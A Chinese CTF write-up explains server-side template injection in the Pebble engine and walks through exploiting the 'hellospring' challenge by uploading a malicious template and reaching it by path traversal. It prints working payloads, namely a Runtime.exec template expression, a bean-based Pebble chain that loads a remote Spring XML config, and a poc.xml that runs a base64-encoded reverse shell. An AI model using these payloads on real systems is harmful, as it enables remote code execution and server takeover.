强网hellospring引出SSTI的学习
Yu9

0X00 前言

太菜了,比赛时没做出来这道题。现在复现一下,顺便整理一下模版注入相关的知识,和各位师傅一块探讨一下!

文中概念多来自互联网,如有侵权,联系删除!

0X01 什么是SSTI(模版注入)

1、 模版引擎

模板引擎(这里特指用于Web开发的模板引擎):是为了使用户界面业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

2、ssti(模版注入)

SSTI 就是服务器端模板注入(Server-Side Template Injection)。

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

更详细的内容可以看看这位师傅的文章:https://www.cnblogs.com/bmjoker/p/13508538.html

0X02 JSP是模版引擎吗?

JSP是web开发最早期的模板引擎产品。

如果你在网上搜Spring Boot的教程,会发现模板引擎清一色用的Thymeleaf,为什么很少人用JSP?因为Spring Boot官方已经不推荐使用JSP了。但Spring Boot提供了多种模板引擎的支持(嵌入式容器JSP有限制,2010年后Velocity停止更新,所以JSP与Velocity两个不建议使用

springBoot支持的模板引擎有: Thymeleaf、FreeMarker、Velocity、Mustache、JSP、Groovy、Handlebars、Jade4j、Pebble、Thymol等等

因为这个文章主要来写hellospring这个题目,所以我们先学习Pebble模版!

0X03 Pebble模版

1、简介

Pebble是一款Java 模板引擎,开发他的灵感来自于Twig。它具有很强的模板延续性和易于阅读的语法;

2、数据绑定示例

在模板中,开发人员可以动态值定义静态内容和占位符。在运行时,模板将由其引擎处理以映射模板中的动态值引用。

1
你好{{Name}}!

在确定Name的值,经过引擎处理后的输出就是

image-20231230033700540

3、漏洞原因

在 Java 中各种表达式语言中利用模板注入的常用方法是使用类似于以下内容的代码:

1
variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls   -la')

基本上,Java中的每个对象都有一个称为 getClass()的方法,它可以通过检索特殊的 java.lang.class,轻而易举的获取任意 Java类的实例。因为它允许执行 OS 命令,下一步通常是获取 java.lang.Runtime 的实例。

1
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

0X04 hellospring复现

1、环境搭建

比赛时给的附件公众号发送hellospring获取!

比赛给的是个jar包,直接解压在idea打开!

META-INF\MANIFEST.MF路径下我们可以看到使用的jdk版本!

image-20231230034733717

我们配置到对应的环境,直接在虚拟机把项目跑起来!

image-20231230035333865

说明:给的附件和远程环境中的不一样!我们需要根据配置文件和源码return ‘home’写一个home.pebble放在/tmp目录下,作为模板文件

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home Page</title>
</head>
<body>
<h1>Hello!!!</h1>
</body>
</html>

image-20231230035433527

成功访问到就说明环境搭建成功!

image-20231230035532629

2、题目环境分析

给出了两个路由!

(1)根据参数x返回指定模板

image-20231230035927536

(2)看名字应该是上传文件的

image-20231230035956127

写了个过滤器,但是没有内容!

image-20231230044102897

上传文件后,给文件重命名了

image-20231230044255919

使用的是FileNameGenerator这个工具类的general_time方法。大概就是获取当前日期,然后改改变格式。拼接生成新的文件名!

image-20231230044426254

写个demo瞅瞅,最后就是file_20231230_044928.pebble这样的,很好构造!

image-20231230044953867

image-20231230045007832

3、目录穿越

pebble当中有两个loader一个是classpathloader,另一个是fileloader,优先会在classpath下尝试加载模板文件,如果寻找不到则使用fileloader尝试加载模板文件

但是题目中给出了后缀名的限制,导致了不能任意文件读取。

image-20231230040116689

但是可以读取到.pebble的文件!我们写入一个类似文件测试一下!

image-20231230040517071

image-20231230040432353

4、思路

大胆的猜测一下出题人的思路!

  • 存在目录穿越(只能读取.pebble后缀文件)
  • 有一个上传文件的路由

大概思路就是通过上传点传一个.pebble的恶意文件,然后访问–>触发pebble模版注入漏洞,然后rce或者反弹shell拿flag!

5、本地复现

(1)找到一个比较新的利用方式:
https://github.com/Y4tacker/Web-Security/issues/3

大概思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1、老版本的exploit,通过Class.forName加载任意类,新版本中修复了

2、Spring应用程序的很多实例都是隐式注册为bean的,可以从持有lassloader对象的bean中找到一个对象,通过获取它我们可以通过执行loadClass来加载任何对象

3、找到了org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory

4、但是执行loadclass是不够的,还需要实例化该类

5、spring的依赖中有jackson,通过jackson反序列化我们可以很方便的实例化一个类。

6、bean 中有这个 jacksonObjectMapper 对象,现在可以实例化任意类,并且通过能够实例化任意类,绕过了过滤限制

7、spring场景中我们很容易想到一个配置类org.springframework.context.support.ClassPathXmlApplicationContext,它允许我们加载远程xml配置文件,通过它我们可以轻松实现命令执行。

8、但是此时你会发现任何继承自AbstractPointcutAdvisor和AbstractApplicationContext的类jackson都将不允许实例化

9、不过jre中发现了一个名为java.beans.Beans的类。该类的instantiate方法可以帮助我们实例化任意方法。这样我们就得到了禁止通过间接方式实例化的ClassPathXmlApplicationContext类。

poc.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>echo YmF...MQ==|base64 -d|bash -i</value>
</list>
</constructor-arg>
</bean>
</beans>

(2)python开个web服务,放poc.xml

image-20231230043531255

image-20231230043627888

(3)vps开启端口监听

image-20231230072235388

(4)接下里就是上传啦!!

poc

1
2
3
4
5
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxxx/1.xml") }}
{{ yyy.refresh() }}

访问/uploadFile,yakit抓包,改成post请求,添加请求体

image-20231230050153911

结合之前分析的重命名规则,我们就可以构造出文件名,但是注意是服务端的时间,我们的本地时间不一样

(5)结合之前分析的目录穿越访问!反弹shell。。

image-20231230072646532

image-20231230072500677

0X05 总结

其他的模版注入无非也就是:

服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的恶意的语句。

0X06 参考文章

https://www.cnblogs.com/bmjoker/p/13508538.html

https://kumamon.fun/server-side-template-injection-on-the-example-of-pebble/

https://tttang.com/archive/1692/#toc

https://blog.51cto.com/u_15585381/5277421

https://blog.tawnx.com/2022/07/25/SSTI/index.html

0X07 原文地址

转载自公众号:安服仔Yu9
原文地址:https://mp.weixin.qq.com/s/PNOpAnkyhWoXHXFFfE4_Sw

由 Hexo 驱动 & 主题 Keep
总字数 50.7k 访客数 访问量